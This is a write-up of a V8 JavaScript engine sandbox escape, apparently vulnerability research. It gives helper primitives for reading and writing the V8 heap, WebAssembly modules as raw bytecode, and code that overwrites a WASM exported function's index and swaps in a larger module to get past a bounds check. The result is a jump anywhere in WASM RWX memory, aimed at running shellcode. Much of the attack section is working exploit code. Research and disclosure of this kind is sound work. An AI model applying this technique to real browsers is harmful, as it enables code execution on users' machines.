V8 Sandbox Escape Write Up

The issue mainly happens in the following functions:

- `WasmTableObject::SetFunctionTableEntry`
- `WasmTableObject::UpdateDispatchTables`
- `WasmTrustedInstanceData::GetCallTarget`

Here is a step by step guide to understand the Sandbox Escape technique.

1- Helper functions

We will use the following helper functions to simulate `addrof`, `arb_read` and `arb_write` primitives on V8 Heap and to help with conversion.

```
function ToHex(big_int){
 return "0x" + big_int.toString(16);
}

function smi(i) {
 return i << 1n;
}

let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function addrOf(obj) {
 return Sandbox.getAddressOf(obj);
}

function v8_read64(addr) {
 return sandboxMemory.getBigUint64(Number(addr), true);
}

function v8_write64(addr, val) {
 return sandboxMemory.setBigInt64(Number(addr), val, true);
}
```

2 - The basics - Creation of a WasmTable and 2 WASM Instances with an indirect call

The goal here is to create a `WASM Module` with an export function that is calling indirectly another export function from another `WASM Module`.

To do that, we start by creating a `WASM Table` that will contain a reference to the export function that will be called indirectly.

```
const rtb = new WebAssembly.Table({
    initial: 1,
    element: "anyfunc",
    maximum: 10
});

const importObject = {
    env: { rtb }
};
```

For now the table is empty.

We can create a simple `export function` in a `WASM module` that is simply returning a float:

```
(module ;; WASM Module 0
    (func $indirect (result f32)
        f32.const 0.015
    )
    (export "indirect" (func $indirect))
)
```

Next, we can set that function into the `WASM Table` we created and we can create another `WASM Module` that is calling indirectly the export function from the table.

```
let wasm_code_0 = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
0x00, 0x01, 0x7d, 0x03, 0x02, 0x01, 0x00, 0x07, 0x0c, 0x01, 0x08, 0x69,
0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, 0x00, 0x0a, 0x09, 0x01,
0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b
]);
let wasm_mod_0 = new WebAssembly.Module(wasm_code_0);
let wasm_instance_0 = new WebAssembly.Instance(wasm_mod_0);

indirect = wasm_instance_0.exports.indirect; // Function that will be called
indirectly
```

```
(module ;; WASM Module 1
    (type $whatever (func (result f32)))
    (import "env" "rtb" (table $tb 1 funcref)) ;; import the table
    (func $main (param $parametre f32) (result f32)
        (f32.mul
            (call_indirect (type $whatever) (i32.const 0)) ;; call func ref
at index 0 of the table
            (local.get $parametre)
        ) ;; Multiply the parameter by the value returned by the indirect
call
    )
    (export "main" (func $main))
)
```

```
let wasm_code_1 = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0a, 0x02, 0x60,
0x00, 0x01, 0x7d, 0x60, 0x01, 0x7d, 0x01, 0x7d, 0x02, 0x0d, 0x01, 0x03,
0x65, 0x6e, 0x76, 0x03, 0x72, 0x74, 0x62, 0x01, 0x70, 0x00, 0x01, 0x03,
0x02, 0x01, 0x01, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00,
0x00, 0x0a, 0x0c, 0x01, 0x0a, 0x00, 0x41, 0x00, 0x11, 0x00, 0x00, 0x20,
0x00, 0x94, 0x0b
]);
let wasm_mod_1 = new WebAssembly.Module(wasm_code_1);
let wasm_instance_1 = new WebAssembly.Instance(wasm_mod_1, importObject);

rtb.set(0, indirect); // set indirect export func ref at index 0 of the
table
console.log(wasm_instance_1.exports.main(1000)); // print 15
```

Now, let's take a deeper look at what is going on when the ref of the export function of the `WASM Module 0` is set into the `WASM Table` and when that export function is called indirectly from `WASM Module 1` via the `WASM Table`.

Calling `rtb.set(0, indirect);` will call internally `WasmTableObject::SetFunctionTableEntry`.

```
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
                                            Handle<WasmTableObject> table,
                                            int entry_index,
                                            Handle<Object> entry) {
  ...
  DCHECK(IsWasmFuncRef(*entry));
  Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
      handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
```

```
  if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
    auto exported_function = Handle<WasmExportedFunction>::cast(external);
[1]
    Handle<WasmTrustedInstanceData> target_instance_data(
        exported_function->instance()->trusted_data(isolate), isolate);
    int func_index = exported_function->function_index();
    const WasmModule* module = target_instance_data->module();
    SBXCHECK_LT(func_index, module->functions.size());
    auto* wasm_function = module->functions.data() + func_index; [2]
    UpdateDispatchTables(isolate, table, entry_index, wasm_function,
                         target_instance_data);
  }
  ...
}
```

This function gets the `WasmExportedFunction` representation of the `entry` passed as parameter [1]. Then it gets its function index and use it to get the `WasmFunction` internal representation of the `export_function` [2] via its `WasmModule`. Finally, the function calls `WasmTableObject::UpdateDispatchTables`.

```
void WasmTableObject::UpdateDispatchTables(
    Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
    const wasm::WasmFunction* func,
    Handle<WasmTrustedInstanceData> target_instance_data) {
  ...
  Address call_target = target_instance_data->GetCallTarget(func-
>func_index);[3]

  ...
    Tagged<WasmTrustedInstanceData> instance_data =
        instance_object->trusted_data(isolate);
    instance_data->dispatch_table(table_index)
        ->Set(entry_index, *call_ref, call_target, sig_id);[4]
  }
}
```

In this function, the `call_target` inside the WASM RWX memory of the export function is retrieved via the `WasmTrustedInstanceData::GetCallTarget` [3] and is set in the `dispatch_table` [4].

```
Address WasmTrustedInstanceData::GetCallTarget(uint32_t func_index) {
  wasm::NativeModule* native_module = this->native_module();
  SBXCHECK_LT(func_index, native_module->num_functions());
```

```
  ...
  return jump_table_start() + JumpTableOffset(native_module->module(),
func_index); [5]
}
```

The `call_target` is computed based on the base address of the `jump_table` in the WASM RWX memory region which is stored in `WasmTrustedInstanceData` structure and the `func_index` of the export function [5].

Then, when the `wasm_instance_1.exports.main(1000)` function is called from JavaScript, internally (in the WASM compiled code), the indirect call will be performed. This is done by accessing the `dispatch table` to obtain the `call_target` of the export function of the `WASM Module 0`. The execution flow will then jump to that `call_target` address inside the WASM RWX memory region.

So, if we control the `func_index`, we control the `call_target` and if we control the `call_target`, we can jump anywhere in the WASM RWX memory meaning that we have a control-flow hijacking primitive inside the WASM RWX Memory.

3 - The Escape - Index modification and module swap

If we modify just the function index like that:

```
console.log("[*] Gathering info about Wasm Exported Function");
let addr_wasm_function = addrOf(indirect);
let shared_info = v8_read64(addr_wasm_function+0x10) & 0xFFFFFFFFn;
let function_data = v8_read64(shared_info-1n+0x8n) & 0xFFFFFFFFn;
let addr_function_data_index = function_data-1n+0x14n;

console.log("[*] Writing new index in Wasm Function Data");
current_value  = v8_read64(addr_function_data_index);
console.log("\t[i] Current Function data index: ",
Utils.ToHex(current_value));
console.log("\t[i] New Function data index: ", Utils.ToHex(current_value &
0xffffffff00000000n | Utils.smi(401n)));
v8_write64(addr_function_data_index, Utils.ToHex(current_value &
0xffffffff00000000n | Utils.smi(401n))); // modify index from 1 to 401
```

We will be outputted a nice message:

- In V8 12.5

```
#
# Safely terminating process due to error in ../../src/wasm/wasm-objects.cc,
line 293
# The following harmless error was encountered: Check failed: func_index <
module->functions.size() (401 vs. 1).
```

- In V8 12.3 and 12.4:

```
../../third_party/libc++/src/include/vector:1418: assertion __n < size()
failed: vector[] index out of bounds
```

This is due to this:

- In V8 12.5, the `SBXCHECK` [6] :

```
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
                                            Handle<WasmTableObject> table,
                                            int entry_index,
                                            Handle<Object> entry) {
  ...
  DCHECK(IsWasmFuncRef(*entry));
  Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
      handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));

  if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
    auto exported_function = Handle<WasmExportedFunction>::cast(external);
    Handle<WasmTrustedInstanceData> target_instance_data(
        exported_function->instance()->trusted_data(isolate), isolate);
    int func_index = exported_function->function_index();
    const WasmModule* module = target_instance_data->module();
    SBXCHECK_LT(func_index, module->functions.size()) [6];
    auto* wasm_function = module->functions.data() + func_index;
    UpdateDispatchTables(isolate, table, entry_index, wasm_function,
                         target_instance_data);
  }
  ...
}
```

- In V8 12.3 and 12.4, the out of bound access [7] :

```
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
                                            Handle<WasmTableObject> table,
                                            Handle<FixedArray> entries,
```

```
                                                   int entry_index,
                                                   Handle<Object> entry) {
  ...
  Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
      Handle<WasmInternalFunction>::cast(entry));

  if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
    auto exported_function = Handle<WasmExportedFunction>::cast(external);
    Handle<WasmTrustedInstanceData> target_instance_data(
        exported_function->instance()->trusted_data(isolate), isolate);
    int func_index = exported_function->function_index();
    auto* wasm_function =
        &target_instance_data->module()->functions[func_index]; [7]
    UpdateDispatchTables(isolate, table, entry_index, wasm_function,
                         target_instance_data);
  }
  ...
}
```

This is caused by the check between the `index` of the export function and the functions size of the `WASM module 0` of the `WASM instance 0`. In order to bypass this check, we created the `Wasm Module 2` for `Wasm Instance 2`, a new Module that contains a big amount of functions and we then used our V8 heap primitives to swap `WASM Module 2` with `WASM Module 0` in `WASM Instance 0`. This is possible because the `WASM Module Object` pointer is on the V8 Heap in the `WASM Instance Object` structure.

```
console.log("[*] Writing module 2 in instance 0");
console.log("\t[i] Current Module 0: ", Utils.ToHex(addr_wasm_module_0));
console.log("\t[i] New Module 0: ", Utils.ToHex(addr_wasm_module_0 &
0xffffffff00000000n | addr_wasm_module_2));
v8_write64(addr_wasm_instance_0+0x10, Utils.ToHex(addr_wasm_module_0 &
0xffffffff00000000n | addr_wasm_module_2));
```

Now that the functions size of the `WASM module` of the `WASM instance 0` is a big value we can bypass the check. Finally, because the `call_target` in [5] is computed via the `jump_table_start` and the `func_index` and because there is no out-of-bound check on the offset to jump to in the `jump_table`, we can jump anywhere in the WASM RWX memory region.

4 - Getting Code Execution

We can jump anywhere inside the WASM RWX memory of the `WASM instance 0` so, to get our shellcode executed, we used `Liftoff` compiled floating points to craft the shellcode inside the memory region and we used our control-flow hijacking primitive to jump to it.